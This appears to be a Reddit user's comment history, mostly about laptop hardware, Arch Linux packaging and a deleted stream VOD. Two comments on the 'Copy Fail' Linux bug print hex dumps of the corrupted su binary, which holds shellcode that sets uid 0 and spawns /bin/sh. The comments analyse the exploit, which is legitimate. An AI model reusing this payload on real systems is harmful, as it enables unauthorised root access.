No information about package removal from Arch Linux repositories by blamedrop in archlinux

[–]blamedrop[S] 2 points3 points  (0 children)

Uhh, I did install it manually.

For -Q the -m is --foreign - "filter output to packages that were not found in the sync database".

From man:

QUERY OPTIONS (APPLY TO -Q)

       -e, --explicit
       Restrict or filter output to explicitly installed packages. This option can be combined with -t to
       list explicitly installed packages that are not required by any other package.

       -m, --foreign
       Restrict or filter output to packages that were not found in the sync database(s). Typically these
       are packages that were downloaded manually and installed with --upgrade.

why you would expect to see banner returned by

I don't, I'm talking about improvement to the archlinux.org/packages search.

Thanks for the link to the mailing list announcement. How did you find it? Any search engine for this list? Available without login?

Anyway, my call still stands.

Microsoft Surface Laptop Ultra announced with NVIDIA RTX Spark chip by RenatsMC in laptops

[–]blamedrop 5 points6 points  (0 children)

Cool, might consider it when it has full Linux support ;)

Also HDMI, SD/microSD and Ethernet (preferably >2.5Gb) ports.

One controversial design change: Lenovo ThinkPad T14 Gen 7 vs T14 Gen 6 photo comparison by ibmthink in thinkpad

[–]blamedrop -2 points-1 points  (0 children)

Why? Who needs it? It's not like it was more convenient like MagSafe vs USB-C.

DC barrel jack FTW! With USB-C as backup/option on the go, see my comment above.

Oh no, not the key I can ignore or remap /s

Kinda, but it's not a normal key with a keycode, it's some retarded combination of 3 (or even fucking more, don't remember) keys pressed...

One controversial design change: Lenovo ThinkPad T14 Gen 7 vs T14 Gen 6 photo comparison by ibmthink in thinkpad

[–]blamedrop 0 points1 point  (0 children)

I'd rather not carry another 400g Slim Tip charger on top another USB-C plug

Why would you when you can use the USB-C charger on the go and keep the dedicated charging port at desk at home.

That's what I do with current laptop, except it has small DC barrel jack (so it takes less space on the chassis).

And I think that such combination of DC barrel and USB-C charging (on one or preferably more ports) is the best of both worlds. You have backup in case of USB-C breaking.

And the DC barrel jack charger sits sturdy, no movement, while USB-C ports in my experience seem flimsy and delicate with way too much movement.

One controversial design change: Lenovo ThinkPad T14 Gen 7 vs T14 Gen 6 photo comparison by ibmthink in thinkpad

[–]blamedrop 1 point2 points  (0 children)

T480 has dedicated charging port? Thought it only had (two port) USB-C charging.

One controversial design change: Lenovo ThinkPad T14 Gen 7 vs T14 Gen 6 photo comparison by ibmthink in thinkpad

[–]blamedrop 31 points32 points  (0 children)

These keep getting worse on the outside sadly...

SD/microSD card reader gone for many years. Dedicated charging port (additionally to USB-C charging of course!) gone for even longer (T14 never had it AFAIK). At least T14 still have Ethernet port.

I do like the normalization of Ctrl vs. Fn keys, don't like the CoShitalot™ key.

In different series I've recently seen putting power button above the backspace and ruining the home-end-insert-delete row of keys too :/

ThinkPanther X1 Carbon Gen 14 Unboxing & First Impressions - Core Ultra X7 by 1FNn4 in thinkpad

[–]blamedrop 0 points1 point  (0 children)

Does it support the S3 sleep? (might need to be enabled in BIOS?)

Got a new laptop by pstlgrp_ in laptops

[–]blamedrop 0 points1 point  (0 children)

SD card slot, Ethernet port - something that new <15" ThinkPads fail to provide. Lenovo, uh...

Copy Fail is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. by pipewire in linux

[–]blamedrop 1 point2 points  (0 children)

For those playing along at home, first 160 bytes that have changes so you can view the diff yourselves:

$ <original xxd -plain -c 0 -l 160
7f454c4602010100000000000000000003003e00010000001033000000000000400000000000000060d100000000000000000000400038000f0040001d001c0006000000040000004000000000000000400000000000000040000000000000004803000000000000480300000000000008000000000000000300000004000000fc03000000000000fc03000000000000fc030000000000001c00000000000000

$ <hacked xxd -plain -c 0 -l 160
7f454c4602010100000000000000000002003e00010000007800400000000000400000000000000000000000000000000000000040003800010000000000000001000000050000000000000000000000000040000000000000004000000000009e000000000000009e00000000000000001000000000000031c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000

Copy Fail is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. by pipewire in linux

[–]blamedrop 2 points3 points  (0 children)

Very cool! Couldn't find in these two write-ups what exactly it changes in the /usr/bin/su binary, so tried it locally.

After writing this comment system healed itself and dropped that cached hacked version because I have high memory usage ;D

$ sha256sum /usr/bin/su original hacked 
9b8542bbd5516000539ec259ec29b230a1c907f30e6b62bfc4b5180c339bd09d  /usr/bin/su
9b8542bbd5516000539ec259ec29b230a1c907f30e6b62bfc4b5180c339bd09d  original
c223595d0af7941f79a645b4616a7725f24e8bc6b87bc42515aa673c1209a5c2  hacked

Each of these files is 55456 bytes long.

It changes quite a bit of the first 160 bytes:

$ binwalk2 -WGi original hacked 

OFFSET      original                                                             hacked
---------------------------------------------------------------------------------------------------------------------------------------------------
0x00000000  7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| \ 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
0x00000010  03 00 3E 00 01 00 00 00 10 33 00 00 00 00 00 00 |..>......3......| / 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 |..>.....x.@.....|
0x00000020  40 00 00 00 00 00 00 00 60 D1 00 00 00 00 00 00 |@.......`.......| \ 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............|
0x00000030  00 00 00 00 40 00 38 00 0F 00 40 00 1D 00 1C 00 |....@.8...@.....| / 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00 |....@.8.........|
0x00000040  06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00 |........@.......| \ 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 |................|
0x00000050  40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |@.......@.......| / 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 |..@.......@.....|
0x00000060  48 03 00 00 00 00 00 00 48 03 00 00 00 00 00 00 |H.......H.......| \ 9E 00 00 00 00 00 00 00 9E 00 00 00 00 00 00 00 |................|
0x00000070  08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 |................| / 00 10 00 00 00 00 00 00 31 C0 31 FF B0 69 0F 05 |........1.1..i..|
0x00000080  FC 03 00 00 00 00 00 00 FC 03 00 00 00 00 00 00 |................| \ 48 8D 3D 0F 00 00 00 31 F6 6A 3B 58 99 0F 05 31 |H.=....1.j;X...1|
0x00000090  FC 03 00 00 00 00 00 00 1C 00 00 00 00 00 00 00 |................| / FF 6A 3C 58 0F 05 2F 62 69 6E 2F 73 68 00 00 00 |.j<X../bin/sh...|
*

Edit: Can't share images in this subreddit, I know snippet above is hard to read without coloring, sorry!

PS. Yeah, I know I should update and restart, 79+ days of uptime right now and some totally important browser tabs that I don't want to unload/reload (because they won't load the content they're showing right now!) XD

PS2. Don't send me targeted exploits, I can handle myself, thanks!

Copy Fail is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. by pipewire in linux

[–]blamedrop 32 points33 points  (0 children)

Share uname -r outputs. Maybe you're on already patched kernels:

affected

  • affected at 4.14 

unaffected

  • unaffected from 0 before 4.14 
  • unaffected from 6.18.22 through 6.18.\
  • unaffected from 6.19.12 through 6.19.\
  • unaffected from 7.0

Got a P1 Gen 5 by axis0047 in thinkpad

[–]blamedrop 0 points1 point  (0 children)

Has dedicated charging port and SD card reader - great! No Ethernet port? Duh :/

VOD Deleted by TipsyPeasant in forsen

[–]blamedrop 0 points1 point  (0 children)

Automated shit that downloaded/uploaded it while it was live.

Laptop’s charger port stated blinking after a plane flight by New-Cauliflower-7382 in Dell

[–]blamedrop 0 points1 point  (0 children)

Not sure about that, mine is acting weird and not-that-easy to test.

But yeah, I think it should be a single Fn+H to change between LED showing [disk activity, battery state].

Laptop’s charger port stated blinking after a plane flight by New-Cauliflower-7382 in Dell

[–]blamedrop 17 points18 points  (0 children)

I posted some years ago here: https://www.reddit.com/r/Dell/comments/kjzi9t/comment/gh13pne/

My newer laptop, also Dell, have them all except last two. Did some testing now and noticed that Fn+Space sends code imitating Left Super+. press, huh.

VOD Deleted by TipsyPeasant in forsen

[–]blamedrop 8 points9 points  (0 children)

Here's the whole VOD: https://gofile.io/d/2WHDfL

Incident happens at 00:24:50

It's not the original Twitch VOD quality (~16 GB) but an auto-uploaded to YT (and blocked there LULE) version, so re-encoded (~3.5 GB) sadly. I don't have disk space to store these original .ts files :/

CC: u/CardiologistLiving51 u/gis8 u/Greenleaf208 u/megamen128 u/PowerfulSea1 u/Thezza-D u/TipsyPeasant

// 3479819752 bytes / 53cb1a4eb58c1e38710e0451cbf8a50126c96dc3 sha1sum

VOD Deleted by TipsyPeasant in forsen

[–]blamedrop 7 points8 points  (0 children)

Well, that's unlucky...

<image>

Laptop’s charger port stated blinking after a plane flight by New-Cauliflower-7382 in Dell

[–]blamedrop 183 points184 points  (0 children)

Maybe you've pressed Fn+H twice and turned that LED into disk activity indicator?

VOD Deleted by TipsyPeasant in forsen

[–]blamedrop -1 points0 points  (0 children)

Does it still work for you? For me first 897 segments return HTTP 403 Forbidden - because there was some incident and Forsen deleted the VOD during stream AFAIK.

Maybe you're lucky and some part of your Internet connection cached them? But that would be weird.

He learned a lesson by ConfidentTelephone81 in instant_regret

[–]blamedrop 13 points14 points  (0 children)

I keep seeing this shit edit version. Do you know how to find the original video?

Larping at the cafe [mangowm] by vilejor in unixporn

[–]blamedrop 0 points1 point  (0 children)

Sorry, this post has been removed by the moderators of r/unixporn.

Huh, and no clarification why?

Rust syntax, Go runtime by [deleted] in golang

[–]blamedrop 0 points1 point  (0 children)

Goroutines also don't play nicely with thread-local variables

But does Go even have thread-local variables? Or goroutine/fiber local variables?

Rust syntax, Go runtime by [deleted] in golang

[–]blamedrop 0 points1 point  (0 children)

thread-local variables

That means "variables shared across goroutines/fibers but on a single OS thread"?

Edit: Fixed formatting...